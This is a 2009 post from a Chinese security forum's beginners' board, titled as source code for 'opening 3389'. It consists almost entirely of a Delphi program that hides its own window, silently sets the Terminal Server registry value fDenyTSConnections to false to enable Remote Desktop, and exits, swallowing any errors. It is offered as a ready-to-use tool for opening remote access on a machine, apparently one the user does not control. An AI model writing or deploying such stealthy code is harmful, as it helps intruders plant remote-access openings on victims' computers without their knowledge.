论坛: 菜鸟乐园 标题: 开3389源码 复制本贴地址    
作者: Winmillion [winmillion]    论坛用户   登录
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Registry;

type
TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
private
    { Private declarations }
public
    { Public declarations }
end;

var
Form1: TForm1;
implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
    myreg:TRegistry;
begin
application.showmainform:=false; //隐藏窗体
  try
begin
      myreg:=TRegistry.Create;
      myreg.RootKey:=HKEY_LOCAL_MACHINE;
      if myreg.OpenKey('\SYSTEM\CurrentControlSet\Control\Terminal Server',True) then
begin
      myreg.Writebool('fDenyTSConnections',false);
      myreg.CloseKey;
      myreg.Free;
      application.terminate;  //整个程序退出
end;
end;
except;
end;
end;
end.


地主 发表时间: 09-03-09 21:34

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号